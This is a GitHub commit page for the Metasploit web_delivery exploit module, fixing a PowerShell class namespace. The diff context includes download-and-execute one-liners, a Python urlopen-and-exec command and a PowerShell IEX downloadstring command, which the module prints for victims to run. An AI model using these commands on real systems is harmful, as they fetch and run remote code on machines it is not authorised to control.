Skip to content

Commit 4f59abe

Browse files
committed
Land rapid7#5203, @Meatballs1 fixes rapid7#5199 by using the correct namespace
* Fixes web_delivery
2 parents a60fe4a + eb1c014 commit 4f59abe

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,7 @@ def primer
8888
when 'Python'
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
9090
when 'PSH'
91-
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
91+
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
9292
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
9393
print_line generate_psh_command_line(
9494
noprofile: true,

0 commit comments

Comments
 (0)